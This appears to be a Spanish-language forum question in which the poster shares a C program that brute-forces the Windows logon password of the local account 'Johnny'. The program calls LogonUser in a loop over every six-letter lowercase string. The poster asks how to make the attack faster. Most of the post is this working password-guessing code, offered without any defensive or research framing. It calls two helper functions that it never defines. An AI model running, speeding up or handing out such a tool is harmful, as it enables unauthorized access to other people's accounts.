He estado tratando de encontrar una manera de utilizar la fuerza bruta de manera eficiente en Windows, pero el método que tengo actualmente no es muy eficiente. Hice algunos perfiles y descubrí que, en promedio, puede pasar por 274,080 intentos por minuto, lo que equivaldría a un peor de 18 horas para descifrar una contraseña de 6 caracteres sin caracteres especiales. ¿Hay alguna forma de atacar de forma más eficiente que esta?
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <math.h>
#define WIN_32_LEAN_AND_MEAN
#define _WIN32_WINNT 0x0501
#include <windows.h>
#define USERNAME "Johnny"
#define LENGTH 6
#define MINIMUM 'a'
#define MAXIMUM 'z'
double NumberOfPermuationsOfString( int length, char minimum, char maximum )
{
return pow( ( maximum - minimum ) + 1, length );
}
FORCEINLINE int NextPermutation( char ** buffer, const size_t length, char minimum, char maximum )
{
int i = 0;
for ( i = length - 1; i >= 0; --i )
{
if ( ( *buffer )[i] != maximum )
{
++( *buffer )[i];
return 1;
}
else
( *buffer )[i] = minimum;
}
return 0;
}
int Bruteforce( char ** buffer, const size_t length, char minimum, char maximum )
{
size_t result = FALSE;
size_t i = 0;
HANDLE htoken = INVALID_HANDLE_VALUE;
timerMod( TIMER_START );
do
result = LogonUser( USERNAME, ".", *buffer, LOGON32_LOGON_NETWORK, LOGON32_PROVIDER_DEFAULT, &htoken );
while ( !result && NextPermutation( buffer, length, MINIMUM, MAXIMUM ) );
if ( !result ) return 0;
CloseHandle( htoken );
return 1;
}
int main( )
{
char * buffer = malloc( LENGTH + 1 );
if ( !buffer )
showStandardError( "Allocating memory", TRUE );
memset( buffer, 0, LENGTH + 1 );
memset( buffer, MINIMUM, LENGTH );
printf( "Bruteforcing with %0.lf password permuations...\n", NumberOfPermuationsOfString( LENGTH, MINIMUM, MAXIMUM ) );
if ( Bruteforce( &buffer, LENGTH, MINIMUM, MAXIMUM ) )
{
printf( "Success! Password : %s\n", buffer );
return 0;
}
else
return 1;
return 0;
}